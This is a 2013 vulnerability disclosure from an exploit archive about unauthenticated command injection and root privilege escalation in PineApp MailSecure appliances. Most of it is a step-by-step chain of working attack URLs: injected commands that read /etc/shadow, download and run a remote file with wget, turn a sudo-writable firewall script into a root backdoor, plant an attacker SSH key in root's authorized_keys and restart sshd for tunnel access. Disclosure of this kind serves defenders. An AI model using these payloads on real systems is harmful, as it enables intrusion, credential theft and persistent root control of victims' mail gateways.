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PineApp MailSecure Command Execution

PineApp MailSecure Command Execution
Posted Nov 19, 2013
Authored by Ruben Garrote Garcia

PineApp MailSecure suffers from remote command execution and privilege escalation vulnerabilities. Versions 5099SK and below are affected.

tags | exploit, remote, vulnerability
SHA-256 | f4720369e3191a3088b42b913c93f939cec3f14bb0c79018eb4ffca7f1760e74

PineApp MailSecure Command Execution

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Hi, related this:
http://seclists.org/fulldisclosure/2013/Nov/136

In February 2013 I send Pineapp the following information:
-----------------------------------------------------------------
It is possible execute any command bash as qmailq unprivilege user, sending
only the following https request, without authentication.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;%20cat%20/etc/shadow

To upload any file (script, binary, etc...) it is possible with wget
command.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile

Download and execute it is possible with this request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile

Details of bug:
Lines 115-120 of /srv/www/htdocs/admin/confnetworking.html
----------------snip-----------------
<?
$query=explode("\n",shell_exec("/usr/bin/host -t '$nstype' '$hostip'
$nsserver"));
foreach ($query as $line)
if ($line)
echo preg_replace("/\t/","&nbsp;&nbsp;&nbsp;",$line)."<br>\n";
?>
----------------snip-----------------

Also it is possible make privilege escalation to root with a weak sudoers
configuration, on /tmp/rc.firewall file. If you overwrite this file with
this content:
---------
#!/bin/bash
$1
---------
you must get a privileged backdoor.
It is possible with the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo'%23!/bin/bash'
> /tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo'$1'
> /tmp/filecode
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;mv/tmp/rc.firewall
/tmp/rc.firewall_
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat/tmp/fileheader
/tmp/filecode > /tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod%2bx
/tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm/tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm/tmp/filecode

And execute commands as root with:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod%2bx
/tmp/rc.firewall 'whoami'

With this, you can sent a private ssh key and get access by ssh service. To
perform this you can make the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo'%73%73%68%2d%72%73%61%20%41%41%41%41%42%33%4e%7a%61%43%31%79%63%32%45%41%41%41%41%42%49%77%41%41%41%51%45%41%79%54%6f%4c%32%75%6b%51%36%4c%76%44%6a%78%51%65%4e%55%72%54%59%35%2b%51%66%57%37%47%51%52%4c%51%68%44%4f%69%77%7a%46%48%42%4a%66%33%59%66%49%44%50%6f%74%45%48%41%4d%43%7a%75%45%48%56%72%34%49%2f%41%77%52%73%78%76%4a%44%2b%4e%55%2b%2b%53%65%72%34%76%7a%35%4d%68%53%6c%50%37%64%47%53%78%47%58%39%31%37%7a%4b%53%53%4b%33%79%55%78%33%42%75%46%44%38%49%52%53%46%51%47%35%64%33%75%50%72%46%63%2f%4d%2b%33%61%37%30%4f%7a%45%44%2f%59%71%79%75%53%63%35%64%79%4c%64%67%59%32%61%47%77%6f%48%77%6a%4e%6f%5a%6b%79%65%44%77%72%67%63%2b%50%65%57%66%78%57%37%63%44%39%72%2f%4f%56%6d%38%59%49%61%70%7a%75%34%37%77%65%71%53%70%38%70%37%2b%43%58%4f%45%41%4c%64%2b%50%4e%54%79%4b%30%43%34%7a%51%58%37%72%35%6d%37%79%48%45%34%50%74%31%6f%75%41%43%45%6c%46%56%38%4a%4f%4f%45%38%4c%49%76%38%55%4a%67%57%30%43%64%41%55%4f%48%6a%49%75%2b%5a%6f%6d%35%54%71%50%73%72%6e%70%64%44%4e%59%6e%2b%76%33%6d%33%57%76%4f%50%71%36%66%69%38%61%72%79%53%33%61%4e%6e%7a%53%74%51%4e%5a%61%33%35%50%64%75%42%4a%49%39%33%4e%41%79%4f%48%54%59%54%31%75%56%6a%6c%79%55%51%3d%3d%20%72%75%62%65%6e%40%72%75%62%65%6e%2d%6c%61%70%74%6f%70'
> /tmp/key.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall
'mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall
'cp /root/.ssh/authorized_keys /tmp'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat/tmp/authorized_keys
/tmp/key.pub > /tmp/keys.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall
'mv /tmp/keys.pub /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall
'chown root:root /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall'killall
sshd'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall'sshd'

This key have password: '1234'

Now you can get access with ssh as root and up tun interface with the
appliance with ssh client:
ssh root@192.168.24.24 -p 7022 -w0:0 -i /home/ruben/key

With this the attacker have a VPN on the same network segment of MailSecure
appliance vulnerable.
-----------------------------------------------------------------

This I made a live demo of vulnerability, but don't revealed the
manufacturer, then the bugs was not fixed.
http://boken00.blogspot.com.es/2012/11/ii-conferencias-de-seguridad-navaja.html

Video demo will be release soon on my blog.

Version affected:
MailSecure <= 5099SK

Credits:
-----------
Ruben Garrote GarcĂ­a
rubengarrote [at] gmail [dot] com
http://boken00.blogspot.com
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